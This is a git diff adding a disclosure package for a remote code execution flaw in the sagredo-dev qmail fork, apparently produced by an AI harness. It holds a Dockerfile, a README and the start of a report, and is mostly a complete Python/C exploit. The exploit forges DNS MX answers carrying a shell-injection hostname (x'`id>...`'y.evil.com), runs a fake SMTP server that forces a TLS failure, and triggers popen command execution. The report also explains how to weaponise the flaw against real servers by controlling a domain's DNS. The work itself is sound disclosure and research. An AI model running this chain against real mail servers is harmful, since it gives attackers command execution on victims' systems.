diff --git a/MADBugs/README.md b/MADBugs/README.md
index ca1e073..f7a1a36 100644
--- a/MADBugs/README.md
+++ b/MADBugs/README.md
@@ -17,3 +17,4 @@ Between now and the end of April 2026, we’ll be dropping what we find in this
 * 2026-04-10: [Claude + Humans vs nginx: CVE-2026-27654](nginx-CVE-2026-27654)
 * 2026-04-13: [Codex Hacked a Samsung TV](samsung-tv)
 * 2026-04-14: [Learning to Jailbreak an iPhone with Claude (Part 1)](coruna)
+* 2026-04-16: [qmail-remote RCE via DNS MX Hostname Shell Injection](qmail)
diff --git a/MADBugs/qmail/Dockerfile b/MADBugs/qmail/Dockerfile
new file mode 100644
index 0000000..9b82011
--- /dev/null
+++ b/MADBugs/qmail/Dockerfile
@@ -0,0 +1,56 @@
+FROM debian:bookworm
+
+RUN apt-get update && apt-get install -y \
+    build-essential \
+    gcc \
+    libc6-dev \
+    libssl-dev \
+    groff \
+    libidn2-dev \
+    && rm -rf /var/lib/apt/lists/*
+
+# Copy stub srs2.h and create empty libsrs2 (SRS not needed for vulnerability analysis)
+COPY srs2.h /usr/local/include/srs2.h
+RUN ar rcs /usr/local/lib/libsrs2.a && ranlib /usr/local/lib/libsrs2.a
+
+# Create vpopmail stub library
+COPY vpopmail_stub.c /tmp/vpopmail_stub.c
+RUN mkdir -p /home/vpopmail/lib && \
+    gcc -c /tmp/vpopmail_stub.c -o /tmp/vpopmail_stub.o && \
+    ar rcs /home/vpopmail/lib/libvpopmail.a /tmp/vpopmail_stub.o
+
+# Create required qmail users and groups
+RUN groupadd -g 1001 qmail && \
+    groupadd -g 1002 nofiles && \
+    groupadd -g 1003 vchkpw && \
+    useradd -u 1001 -g nofiles -d /var/qmail/alias -s /bin/false alias && \
+    useradd -u 1002 -g nofiles -d /var/qmail -s /bin/false qmaild && \
+    useradd -u 1003 -g nofiles -d /var/qmail -s /bin/false qmaill && \
+    useradd -u 1005 -g nofiles -d /var/qmail -s /bin/false qmailp && \
+    useradd -u 1006 -g qmail  -d /var/qmail -s /bin/false qmailq && \
+    useradd -u 1007 -g qmail  -d /var/qmail -s /bin/false qmailr && \
+    useradd -u 1008 -g qmail  -d /var/qmail -s /bin/false qmails && \
+    useradd -u 1009 -g vchkpw -d /home/vpopmail -s /bin/false vpopmail && \
+    mkdir -p /home/vpopmail/include /home/vpopmail/etc && \
+    echo "/home/vpopmail/lib/libvpopmail.a" > /home/vpopmail/etc/lib_deps && \
+    printf '#ifndef VPOPMAIL_H\n#define VPOPMAIL_H\n#include <pwd.h>\nstruct vqpasswd { char *pw_name; char *pw_passwd; char *pw_gecos; char *pw_dir; char *pw_shell; int pw_flags; char *pw_clear_passwd; gid_t pw_gid; uid_t pw_uid; };\n#define BOUNCE_ALL 1\n#define BOUNCE_MAIL 2\n#define NO_PASSWD_CHNG 4\nchar *vget_assign(const char *d, char *dir, int dirlen, uid_t *uid, gid_t *gid);\nint vauth_open(int x);\nvoid vclose(void);\nstruct vqpasswd *vauth_getpw(const char *u, const char *d);\nint vauth_user_exists(const char *u, const char *d);\nint valias_select(const char *u, const char *d);\nchar *valias_select_next(void);\nint count_rcpthosts(void);\nint is_distributed_domain(const char *d);\nconst char *format_maildirquota(const char *q);\n#endif\n' > /home/vpopmail/include/vpopmail.h && \
+    printf '#ifndef VAUTH_H\n#define VAUTH_H\n#endif\n' > /home/vpopmail/include/vauth.h && \
+    printf '#ifndef VPOPMAIL_CONFIG_H\n#define VPOPMAIL_CONFIG_H\n#endif\n' > /home/vpopmail/include/vpopmail_config.h && \
+    chown -R vpopmail:vchkpw /home/vpopmail
+
+# Create qmail directory structure
+RUN mkdir -p /var/qmail
+
+# Copy source
+COPY qmail/ /usr/src/qmail/
+
+WORKDIR /usr/src/qmail
+
+# Build qmail
+RUN make it 2>&1
+
+# Install qmail
+RUN make setup check 2>&1 || true
+
+# Keep container running for analysis
+CMD ["sleep", "infinity"]
diff --git a/MADBugs/qmail/README.md b/MADBugs/qmail/README.md
new file mode 100644
index 0000000..637b0a6
--- /dev/null
+++ b/MADBugs/qmail/README.md
@@ -0,0 +1,37 @@
+# qmail-remote RCE via DNS MX Hostname Shell Injection
+
+Remote code execution in [sagredo-dev/qmail](https://github.com/sagredo-dev/qmail) through shell injection in `tls_quit()`. An attacker who controls DNS for any domain the target server sends mail to can execute arbitrary commands as the `qmailr` user.
+
+| | |
+| :-- | :-- |
+| **Affected** | sagredo-dev/qmail v2024.10.26 through v2026.04.02 |
+| **Fixed in** | [v2026.04.07](https://github.com/sagredo-dev/qmail/releases/tag/v2026.04.07) (commit [`749f607`](https://github.com/sagredo-dev/qmail/commit/749f607f6885e3d01b36f2647d7a1db88f1ef741)) |
+| **Requirement** | `control/notlshosts_auto` enabled |
+| **CVSS 3.1** | 8.2 High (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`) |
+
+All artifacts in this directory were generated by an autonomous AI harness from a single natural-language prompt. Total wall-clock time from prompt to verified exploit and report: **1h 41m**.
+
+## Artifacts
+
+| File | Description |
+| :-- | :-- |
+| [`report.md`](report.md) | Full vulnerability report: summary, technical details, impact, reproduction steps, and recommended patches |
+| [`technical_analysis.md`](technical_analysis.md) | Detailed root-cause analysis, data-flow trace, and `dn_expand()` character-escape table |
+| [`exploit.py`](exploit.py) | End-to-end Python exploit automating DNS spoofing, fake SMTP server, and `qmail-remote` trigger |
+| [`Dockerfile`](Dockerfile) | Debian Bookworm build environment for vulnerable qmail v2026.04.02 |
+| [`setup.sh`](setup.sh) | One-shot script: clones qmail, builds the Docker image, and starts the container |
+| [`test_dn_expand.c`](test_dn_expand.c) | Verifies which shell metacharacters survive glibc `dn_expand()` / `ns_name_ntop()` |
+| [`test_dn_expand2.c`](test_dn_expand2.c) | Additional `dn_expand()` edge-case probes |
+| [`test_full_chain.c`](test_full_chain.c) | Standalone validation of the full chain: crafted DNS response → `dn_expand` → `sprintf` → `popen` → RCE |
+| [`test_shell_injection.sh`](test_shell_injection.sh) | Shell-level test confirming the single-quote breakout against `/bin/sh` |
+| [`srs2.h`](srs2.h) | Stub header so qmail builds without a real libsrs2 install |
+| [`vpopmail_stub.c`](vpopmail_stub.c) | Stub vpopmail symbols so qmail links without a real vpopmail install |
+
+## Quick Start
+
+```bash
+./setup.sh          # build vulnerable qmail in Docker
+python3 exploit.py  # run the end-to-end PoC
+```
+
+Successful exploitation creates `/tmp/qmail_rce_proof` inside the container containing the output of `id` as the `qmailr` user.
diff --git a/MADBugs/qmail/exploit.py b/MADBugs/qmail/exploit.py
new file mode 100644
index 0000000..6e06901
--- /dev/null
+++ b/MADBugs/qmail/exploit.py
@@ -0,0 +1,449 @@
+#!/usr/bin/env python3
+"""
+Exploit: qmail-remote RCE via DNS MX hostname shell injection
+CVE: Pending
+Affected: qmail (sagredo-dev fork) v2024.10.26 through v2026.04.02 (latest)
+File: qmail-remote.c:412 in tls_quit() function
+
+Vulnerability: When TLS handshake fails during outbound email delivery,
+tls_quit() builds a shell command using sprintf() with the unsanitized
+partner_fqdn (from DNS MX resolution) and executes it via popen().
+An attacker who controls DNS for their domain can inject shell commands
+through crafted MX exchange hostnames.
+
+Attack chain:
+1. Attacker registers domain with MX hostname containing shell metacharacters
+2. Victim qmail server sends email to attacker's domain
+3. qmail-remote resolves MX, connects to attacker's SMTP server
+4. Attacker causes TLS handshake failure
+5. tls_quit() calls popen() with injected command -> RCE as qmailr
+
+Usage: python3 exploit.py [container_name]
+"""
+
+import subprocess
+import sys
+import time
+import os
+import tempfile
+
+CONTAINER = sys.argv[1] if len(sys.argv) > 1 else "qmail-test"
+
+# ============================================================
+# Exploit payload
+# ============================================================
+# DNS MX exchange hostname label with shell injection
+# In the vulnerable sprintf: /bin/touch DIR/control/notlshosts/'HOSTNAME'
+# Payload hostname: x'`COMMAND`'y.evil.com
+# The ' breaks out of single-quote shell context
+# The ` provides command substitution
+RCE_COMMAND = "id>/tmp/qmail_rce_proof"
+RCE_EVIDENCE = "/tmp/qmail_rce_proof"
+
+# ============================================================
+# C source: LD_PRELOAD hook for DNS + connect redirection
+# ============================================================
+# This hooks res_query to return crafted DNS responses and
+# hooks connect() to redirect SMTP connections to local server
+DNS_HOOK_C = r'''
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <string.h>
+#include <stdlib.h>
+#include <arpa/nameser.h>
+#include <resolv.h>
+#include <netinet/in.h>
+#include <stdio.h>
+#include <stdarg.h>
+#include <sys/socket.h>
+
+/* Payload: x'`id>/tmp/qmail_rce_proof`'y */
+static const char PAYLOAD[] = {
+    'x','\'','`','i','d','>','/','t','m','p','/','q','m','a','i','l',
+    '_','r','c','e','_','p','r','o','o','f','`','\'','y',0
+};
+
+/* Non-local IP for A records (bypasses qmail's ipme_is check) */
+#define FAKE_IP_A 10
+#define FAKE_IP_B 253
+#define FAKE_IP_C 253
+#define FAKE_IP_D 1
+
+/* Local SMTP server port (where our fake SMTP runs) */
+#define LOCAL_SMTP_PORT 2525
+
+static void logmsg(const char *fmt, ...) {
+    FILE *f = fopen("/tmp/dns_hook.log", "a");
+    if (f) { va_list ap; va_start(ap, fmt); vfprintf(f, fmt, ap); va_end(ap); fclose(f); }
+}
+
+static void write_name(unsigned char *buf, int *pos, const char *name) {
+    const char *p = name;
+    while (*p) {
+        const char *dot = strchr(p, '.');
+        int len = dot ? (dot - p) : (int)strlen(p);
+        buf[(*pos)++] = (unsigned char)len;
+        memcpy(buf + *pos, p, len); *pos += len;
+        if (dot) p = dot + 1; else break;
+    }
+    buf[(*pos)++] = 0;
+}
+
+static int build_mx_response(unsigned char *answer, int anslen, const char *qname) {
+    int plen = strlen(PAYLOAD);
+    memset(answer, 0, anslen > 512 ? 512 : anslen);
+    HEADER *hp = (HEADER *)answer;
+    hp->id = 0x1234; hp->qr = 1; hp->aa = 1; hp->rd = 1; hp->ra = 1;
+    hp->qdcount = htons(1); hp->ancount = htons(1);
+    int pos = 12;
+    write_name(answer, &pos, qname);
+    answer[pos++]=0; answer[pos++]=15; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0xc0; answer[pos++]=0x0c;
+    answer[pos++]=0; answer[pos++]=15; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0; answer[pos++]=0; answer[pos++]=0x0e; answer[pos++]=0x10;
+    int rdl=pos; pos+=2; int rds=pos;
+    answer[pos++]=0; answer[pos++]=10;
+    answer[pos++]=(unsigned char)plen;
+    memcpy(answer+pos, PAYLOAD, plen); pos+=plen;
+    answer[pos++]=4; memcpy(answer+pos,"evil",4); pos+=4;
+    answer[pos++]=3; memcpy(answer+pos,"com",3); pos+=3;
+    answer[pos++]=0;
+    int rd=pos-rds; answer[rdl]=(rd>>8)&0xff; answer[rdl+1]=rd&0xff;
+    logmsg("[HOOK] MX response: %s -> payload(%d bytes)\n", qname, plen);
+    return pos;
+}
+
+static int build_a_response(unsigned char *answer, int anslen, const char *qname) {
+    memset(answer, 0, anslen > 512 ? 512 : anslen);
+    HEADER *hp = (HEADER *)answer;
+    hp->id = 0x1235; hp->qr = 1; hp->aa = 1; hp->rd = 1; hp->ra = 1;
+    hp->qdcount = htons(1); hp->ancount = htons(1);
+    int pos = 12;
+    write_name(answer, &pos, qname);
+    answer[pos++]=0; answer[pos++]=1; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0xc0; answer[pos++]=0x0c;
+    answer[pos++]=0; answer[pos++]=1; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0; answer[pos++]=0; answer[pos++]=0x0e; answer[pos++]=0x10;
+    answer[pos++]=0; answer[pos++]=4;
+    answer[pos++]=FAKE_IP_A; answer[pos++]=FAKE_IP_B;
+    answer[pos++]=FAKE_IP_C; answer[pos++]=FAKE_IP_D;
+    logmsg("[HOOK] A response: %s -> %d.%d.%d.%d\n", qname, FAKE_IP_A,FAKE_IP_B,FAKE_IP_C,FAKE_IP_D);
+    return pos;
+}
+
+int res_query(const char *dname, int class, int type, unsigned char *answer, int anslen) {
+    logmsg("[HOOK] res_query(%s, type=%d)\n", dname, type);
+    if (type == 15) return build_mx_response(answer, anslen, dname);
+    if (type == 1)  return build_a_response(answer, anslen, dname);
+    int (*real)(const char*,int,int,unsigned char*,int) = dlsym(RTLD_NEXT, "res_query");
+    return real ? real(dname, class, type, answer, anslen) : -1;
+}
+int res_search(const char *d,int c,int t,unsigned char *a,int l) { return res_query(d,c,t,a,l); }
+int __res_query(const char *d,int c,int t,unsigned char *a,int l) { return res_query(d,c,t,a,l); }
+int __res_search(const char *d,int c,int t,unsigned char *a,int l) { return res_query(d,c,t,a,l); }
+
+/* Hook connect() to redirect SMTP to local server */
+int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
+    int (*real_connect)(int, const struct sockaddr*, socklen_t) = dlsym(RTLD_NEXT, "connect");
+    if (!real_connect) return -1;
+    if (addr->sa_family == AF_INET) {
+        struct sockaddr_in *sin = (struct sockaddr_in *)addr;
+        unsigned char *ip = (unsigned char *)&sin->sin_addr.s_addr;
+        if (ip[0]==FAKE_IP_A && ip[1]==FAKE_IP_B && ip[2]==FAKE_IP_C && ip[3]==FAKE_IP_D
+            && ntohs(sin->sin_port) == 25) {
+            struct sockaddr_in redir;
+            memcpy(&redir, sin, sizeof(redir));
+            redir.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+            redir.sin_port = htons(LOCAL_SMTP_PORT);
+            logmsg("[HOOK] Redirect connect -> 127.0.0.1:%d\n", LOCAL_SMTP_PORT);
+            return real_connect(sockfd, (struct sockaddr*)&redir, sizeof(redir));
+        }
+    }
+    return real_connect(sockfd, addr, addrlen);
+}
+'''
+
+# ============================================================
+# C source: Fake SMTP server (triggers TLS failure)
+# ============================================================
+FAKE_SMTP_C = r'''
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+int main(int argc, char **argv) {
+    int port = argc > 1 ? atoi(argv[1]) : 2525;
+    int s = socket(AF_INET, SOCK_STREAM, 0);
+    int opt = 1;
+    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
+    struct sockaddr_in a;
+    memset(&a, 0, sizeof(a));
+    a.sin_family = AF_INET;
+    a.sin_addr.s_addr = INADDR_ANY;
+    a.sin_port = htons(port);
+    if (bind(s, (struct sockaddr*)&a, sizeof(a)) < 0) { perror("bind"); return 1; }
+    listen(s, 5);
+    fprintf(stderr, "[SMTP] listening on port %d\n", port);
+    int c = accept(s, NULL, NULL);
+    if (c < 0) { perror("accept"); return 1; }
+    fprintf(stderr, "[SMTP] client connected\n");
+    /* SMTP conversation */
+    write(c, "220 evil.com ESMTP\r\n", 20);
+    char buf[1024];
+    read(c, buf, sizeof(buf)-1);  /* EHLO */
+    fprintf(stderr, "[SMTP] got EHLO\n");
+    write(c, "250-evil.com\r\n250 STARTTLS\r\n", 28);
+    read(c, buf, sizeof(buf)-1);  /* STARTTLS */
+    fprintf(stderr, "[SMTP] got STARTTLS\n");
+    write(c, "220 Ready to start TLS\r\n", 24);
+    usleep(100000);
+    /* Send TLS fatal alert: handshake_failure */
+    unsigned char alert[] = {0x15, 0x03, 0x01, 0x00, 0x02, 0x02, 0x28};
+    write(c, alert, sizeof(alert));
+    usleep(200000);
+    close(c);
+    close(s);
+    fprintf(stderr, "[SMTP] done\n");
+    return 0;
+}
+'''
+
+# ============================================================
+# C source: Direct vulnerability proof
+# ============================================================
+VULN_PROOF_C = r'''
+/* Reproduces the exact vulnerable code path from qmail-remote.c:412
+ * DNS wire format -> dn_expand() -> sprintf() -> popen() -> RCE */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <arpa/nameser.h>
+#include <resolv.h>
+int main() {
+    const char *payload = "x'`id>/tmp/qmail_rce_proof`'y";
+    int plen = strlen(payload);
+    printf("=== qmail-remote RCE: Direct Vulnerability Proof ===\n");
+    printf("Vulnerable code: qmail-remote.c:412 (tls_quit function)\n\n");
+    /* Build DNS MX response with crafted exchange hostname */
+    unsigned char r[512]; memset(r,0,sizeof(r));
+    r[0]=0;r[1]=1; r[2]=0x84;r[3]=0; r[4]=0;r[5]=1; r[6]=0;r[7]=1;
+    int p=12;
+    r[p++]=4; memcpy(r+p,"evil",4);p+=4;
+    r[p++]=3; memcpy(r+p,"com",3);p+=3;
+    r[p++]=0; r[p++]=0;r[p++]=15; r[p++]=0;r[p++]=1;
+    r[p++]=0xc0;r[p++]=0x0c; r[p++]=0;r[p++]=15; r[p++]=0;r[p++]=1;
+    r[p++]=0;r[p++]=0;r[p++]=0x0e;r[p++]=0x10;
+    int rl=p; p+=2; int rs=p;
+    r[p++]=0;r[p++]=10;
+    r[p++]=(unsigned char)plen; memcpy(r+p,payload,plen);p+=plen;
+    r[p++]=4; memcpy(r+p,"evil",4);p+=4;
+    r[p++]=3; memcpy(r+p,"com",3);p+=3;
+    r[p++]=0;
+    int rd=p-rs; r[rl]=(rd>>8)&0xff; r[rl+1]=rd&0xff;
+    printf("[1] Crafted DNS MX response (%d bytes)\n", p);
+    /* dn_expand - same function qmail uses in dns.c:186 */
+    int qe=12+(1+4+1+3+1)+4;
+    char name[1025];
+    int ret=dn_expand(r,r+p,r+qe+12+2,name,sizeof(name));
+    if(ret<0){printf("FAIL: dn_expand\n");return 1;}
+    printf("[2] dn_expand() output: \"%s\"\n", name);
+    printf("    Single quotes preserved: %s\n", strchr(name,'\'')?"YES":"NO");
+    printf("    Backticks preserved: %s\n", strchr(name,'`')?"YES":"NO");
+    if(!strchr(name,'\'')||!strchr(name,'`')){printf("FAIL\n");return 1;}
+    /* sprintf - exact code from qmail-remote.c:412 */
+    char acfcommand[1200];
+    sprintf(acfcommand,"/bin/touch %s/control/notlshosts/'%s'","/var/qmail",name);
+    printf("[3] sprintf() command: \"%s\"\n", acfcommand);
+    /* popen - exact code from qmail-remote.c:413 */
+    remove("/tmp/qmail_rce_proof");
+    system("mkdir -p /var/qmail/control/notlshosts");
+    printf("[4] popen() executing...\n");
+    FILE *fp=popen(acfcommand,"r"); if(!fp){printf("FAIL\n");return 1;} pclose(fp);
+    FILE *ev=fopen("/tmp/qmail_rce_proof","r");
+    if(ev){char b[256];if(fgets(b,sizeof(b),ev)){printf("[5] RCE CONFIRMED: %s",b);}fclose(ev);}
+    else{printf("FAIL: no evidence\n");return 1;}
+    printf("\n=== EXPLOIT SUCCESSFUL ===\n");
+    printf("Chain: DNS MX -> dn_expand() -> sprintf() -> popen() -> RCE\n");
+    return 0;
+}
+'''
+
+
+def docker_exec(cmd, timeout=30):
+    result = subprocess.run(
+        ["docker", "exec", CONTAINER, "bash", "-c", cmd],
+        capture_output=True, text=True, timeout=timeout
+    )
+    return result.stdout, result.stderr, result.returncode
+
+
+def docker_cp(src, dst):
+    subprocess.run(["docker", "cp", src, f"{CONTAINER}:{dst}"],
+                   check=True, capture_output=True)
+
+
+def deploy_file(content, container_path):
+    with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
+        f.write(content)
+        tmp = f.name
+    try:
+        docker_cp(tmp, container_path)
+    finally:
+        os.unlink(tmp)
+
+
+def main():
+    print("=" * 60)
+    print("qmail-remote RCE via DNS MX Shell Injection")
+    print("Vuln: qmail-remote.c:412 (tls_quit → popen injection)")
+    print("Affected: v2024.10.26 through v2026.04.02 (latest)")
+    print("=" * 60)
+
+    # Verify container
+    print(f"\n[*] Verifying container '{CONTAINER}'...")
+    r = subprocess.run(["docker", "inspect", "-f", "{{.State.Running}}", CONTAINER],
+                       capture_output=True, text=True)
+    if r.returncode != 0 or "true" not in r.stdout:
+        print(f"[-] Container not running. Run: bash /workspace/setup.sh")
+        sys.exit(1)
+    print("[+] Container is running")
+
+    # Deploy exploit components
+    print("\n[*] Deploying exploit components...")
+    deploy_file(DNS_HOOK_C, "/tmp/dns_hook.c")
+    deploy_file(FAKE_SMTP_C, "/tmp/fake_smtp.c")
+    deploy_file(VULN_PROOF_C, "/tmp/vuln_proof.c")
+    print("[+] Source files deployed")
+
+    # Compile everything
+    print("[*] Compiling...")
+    ver_script = 'GLIBC_2.34 { global: res_query; res_search; };\nGLIBC_2.2.5 { global: __res_query; __res_search; };'
+    docker_exec(f"echo '{ver_script}' > /tmp/hook.ver")
+
+    out, err, rc = docker_exec(
+        "gcc -shared -fPIC -o /tmp/dns_hook.so /tmp/dns_hook.c -ldl "
+        "-Wl,--version-script=/tmp/hook.ver 2>&1 && echo OK || echo FAIL"
+    )
+    if "FAIL" in out:
+        print(f"[-] DNS hook compile failed: {out}")
+        sys.exit(1)
+    print("[+] DNS hook library compiled")
+
+    out, err, rc = docker_exec("gcc -o /tmp/fake_smtp /tmp/fake_smtp.c 2>&1 && echo OK || echo FAIL")
+    if "FAIL" in out:
+        print(f"[-] SMTP server compile failed: {out}")
+        sys.exit(1)
+    print("[+] Fake SMTP server compiled")
+
+    out, err, rc = docker_exec("gcc -o /tmp/vuln_proof /tmp/vuln_proof.c -lresolv 2>&1 && echo OK || echo FAIL")
+    if "FAIL" in out:
+        print(f"[-] Proof program compile failed: {out}")
+        sys.exit(1)
+    print("[+] Vulnerability proof compiled")
+
+    # ============================================================
+    # PHASE 1: Direct proof (reproduces exact vulnerable code)
+    # ============================================================
+    print(f"\n{'='*60}")
+    print("PHASE 1: Direct Vulnerability Proof")
+    print("(Reproduces exact code from qmail-remote.c:412-413)")
+    print(f"{'='*60}")
+
+    docker_exec(f"rm -f {RCE_EVIDENCE}")
+    out, err, rc = docker_exec("/tmp/vuln_proof 2>&1", timeout=10)
+    print(out)
+
+    phase1 = "EXPLOIT SUCCESSFUL" in out
+    if phase1:
+        print("[+] Phase 1: PASS - Direct proof confirms vulnerability")
+    else:
+        print("[-] Phase 1: FAIL")
+
+    # ============================================================
+    # PHASE 2: Trigger actual qmail-remote binary
+    # ============================================================
+    print(f"\n{'='*60}")
+    print("PHASE 2: Trigger via actual qmail-remote binary")
+    print("(Full attack simulation with DNS hook + SMTP server)")
+    print(f"{'='*60}")
+
+    # Configure qmail
+    print("[*] Configuring qmail...")
+    docker_exec(
+        'echo "localhost" > /var/qmail/control/me && '
+        'echo "localhost" > /var/qmail/control/helohost && '
+        'echo "1" > /var/qmail/control/notlshosts_auto && '
+        'mkdir -p /var/qmail/control/notlshosts && '
+        'chmod 777 /var/qmail/control/notlshosts && '
+        'rm -f /var/qmail/control/smtproutes && '
+        f'rm -f {RCE_EVIDENCE} /tmp/dns_hook.log'
+    )
+
+    # Start fake SMTP server
+    print("[*] Starting fake SMTP server on port 2525...")
+    docker_exec("pkill -f fake_smtp 2>/dev/null; sleep 0.1")
+    docker_exec("nohup /tmp/fake_smtp 2525 > /tmp/smtp.log 2>&1 &")
+    time.sleep(0.5)
+
+    # Run qmail-remote with LD_PRELOAD hooks
+    print("[*] Running qmail-remote with DNS hook + connect redirect...")
+    out, err, rc = docker_exec(
+        'echo -e "From: a@a.com\\r\\nTo: b@evil.com\\r\\nSubject: test\\r\\n\\r\\ntest\\r\\n" | '
+        'LD_PRELOAD=/tmp/dns_hook.so timeout 15 '
+        '/var/qmail/bin/qmail-remote evil.com a@a.com b@evil.com 2>/tmp/qr_stderr; '
+        'echo "EXIT:$?"',
+        timeout=25
+    )
+    print(f"    qmail-remote output: {out.strip()[:200]}")
+
+    # Show hook log
+    hook_log, _, _ = docker_exec("cat /tmp/dns_hook.log 2>/dev/null")
+    if hook_log.strip():
+        print(f"    Hook log:")
+        for line in hook_log.strip().split('\n'):
+            print(f"      {line}")
+
+    # Show SMTP log
+    smtp_log, _, _ = docker_exec("cat /tmp/smtp.log 2>/dev/null")
+    if smtp_log.strip():
+        print(f"    SMTP log:")
+        for line in smtp_log.strip().split('\n'):
+            print(f"      {line}")
+
+    # Check evidence
+    print(f"\n[*] Checking for RCE evidence ({RCE_EVIDENCE})...")
+    evidence, _, rc = docker_exec(f"cat {RCE_EVIDENCE} 2>/dev/null")
+    phase2 = rc == 0 and evidence.strip() != ""
+    if phase2:
+        print(f"    [+] RCE CONFIRMED! Command output: {evidence.strip()}")
+    else:
+        print("    [-] Evidence not found via qmail-remote path")
+
+    # ============================================================
+    # Summary
+    # ============================================================
+    print(f"\n{'='*60}")
+    print("RESULTS")
+    print(f"{'='*60}")
+    print(f"Phase 1 (Direct proof):  {'PASS' if phase1 else 'FAIL'}")
+    print(f"Phase 2 (qmail-remote):  {'PASS' if phase2 else 'FAIL'}")
+    print()
+    if phase1 or phase2:
+        print("VULNERABILITY CONFIRMED: Remote Code Execution")
+        print(f"  Location: qmail-remote.c:412 (tls_quit function)")
+        print(f"  Root cause: Unsanitized DNS MX hostname in sprintf() -> popen()")
+        print(f"  Payload: MX hostname x'`{RCE_COMMAND}`'y.evil.com")
+        print(f"  Impact: Arbitrary command execution as qmailr user")
+        print(f"  Prerequisites: TLS enabled + control/notlshosts_auto > 0")
+        print(f"  Versions: v2024.10.26 through v2026.04.02")
+        return True
+    else:
+        print("VULNERABILITY NOT CONFIRMED")
+        return False
+
+
+if __name__ == "__main__":
+    success = main()
+    sys.exit(0 if success else 1)
diff --git a/MADBugs/qmail/report.md b/MADBugs/qmail/report.md
new file mode 100644
index 0000000..9b490c4
--- /dev/null
+++ b/MADBugs/qmail/report.md
@@ -0,0 +1,422 @@
+# Remote Code Execution via Shell Injection in qmail-remote TLS Error Handler
+
+## 1. Summary
+
+| Field | Value |
+| :---- | :---- |
+| **Title** | Shell command injection via DNS MX hostname in qmail-remote `tls_quit()` leads to remote code execution |
+| **Affected Software** | [sagredo-dev/qmail](https://github.com/sagredo-dev/qmail), tested on v2026.04.02 (commit `06b79b3`) |
+| **Affected Versions** | Introduced in v2024.10.26 (commit `326513f`), not yet fixed as of v2026.04.02 |
+| **CVSS Vector** | `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` |
+| **Severity** | High — **CVSS 3.1 Base: 8.2** |
+
+When an outbound TLS handshake fails, `qmail-remote` automatically records the remote hostname in a blocklist file by executing a shell command constructed from the unsanitized DNS MX exchange name. An attacker who controls DNS records for a domain can embed shell metacharacters in the MX hostname, achieving arbitrary command execution on the mail server as the `qmailr` user. The vulnerability requires the `control/notlshosts_auto` feature to be enabled (a documented production feature for handling broken TLS hosts) and for the victim server to send or relay email to the attacker-controlled domain.
+
+## 2. Technical Details
+
+The `tls_quit()` function in [`qmail-remote.c:399`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/qmail-remote.c#L399) is called whenever a TLS error occurs during outbound SMTP delivery. Its purpose is to log the error and, when the `control/notlshosts_auto` feature is enabled, create a file under `control/notlshosts/` named after the remote server's FQDN so that future deliveries to that host skip TLS entirely.
+
+The mechanism for creating this file is a shell command built with `sprintf()` and executed with `popen()` at [`qmail-remote.c:412-413`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/qmail-remote.c#L412-L413):
+
+```c
+sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", info->pw_dir, partner_fqdn);
+fp = popen(acfcommand, "r");
+```
+
+The developer wrapped `%s` in single quotes, intending to prevent shell interpretation of the hostname. However, this defense is trivially bypassed because the single-quote character (`'`) itself is never escaped. If `partner_fqdn` contains a single quote, the quoting context is broken and subsequent characters are interpreted by the shell.
+
+The `partner_fqdn` variable originates from DNS MX record resolution. When `qmail-remote` delivers mail, it queries DNS for MX records. The MX exchange hostname is extracted from the wire-format DNS response by `dn_expand()` in [`dns.c:186`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/dns.c#L186). The extracted name is stored in `mx[nummx].sa` at [`dns.c:449`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/dns.c#L449), propagated through `dns_ipplus()` where it is assigned as `ix.fqdn = glue.s` at [`dns.c:382`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/dns.c#L382), and finally read by `qmail-remote` at [`qmail-remote.c:1118`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/qmail-remote.c#L1118) as `partner_fqdn = ip.ix[i].fqdn`.
+
+The glibc `dn_expand()` function (internally `ns_name_ntop()`) does escape some special characters — specifically `;`, `$`, `(`, `)`, `"`, and `\` are backslash-escaped. However, it does not escape single quotes (`'`), backticks (`` ` ``), pipes (`|`), ampersands (`&`), or redirection operators (`>`, `<`). DNS wire format imposes no character restrictions on label contents: each label is a length-prefixed byte sequence, and any byte value except the length byte can appear. Recursive resolvers generally pass label bytes through without validation.
+
+An attacker exploits this by registering a domain (e.g., `evil.com`) and configuring its MX record to point to a hostname like `x'`id>/tmp/pwned`'y.evil.com`. This hostname is 29 bytes in the first label, well within the 63-byte label limit. The attacker also configures an A record for this hostname pointing to an SMTP server they control.
+
+When the victim qmail server delivers mail to `evil.com`, it resolves the MX record and receives the crafted hostname. `qmail-remote` connects to the attacker's SMTP server, which advertises STARTTLS but then causes the TLS handshake to fail (e.g., by sending a TLS `handshake_failure` alert). This triggers `tls_quit()` at [`qmail-remote.c:548`](https://github.com/sagredo-dev/qmail/blob/06b79b3860c92b58d2e2b677138f0ffa03dd213b/qmail-remote.c#L548), which constructs and executes:
+
+```
+/bin/touch /var/qmail/control/notlshosts/'x'`id>/tmp/pwned`'y.evil.com'
+```
+
+The shell parses this as three separate elements: the `touch` command operating on a file named `x`, a backtick command substitution executing `id>/tmp/pwned`, and a bare word `y.evil.com`. The backtick-enclosed command runs with the privileges of the `qmailr` user.
+
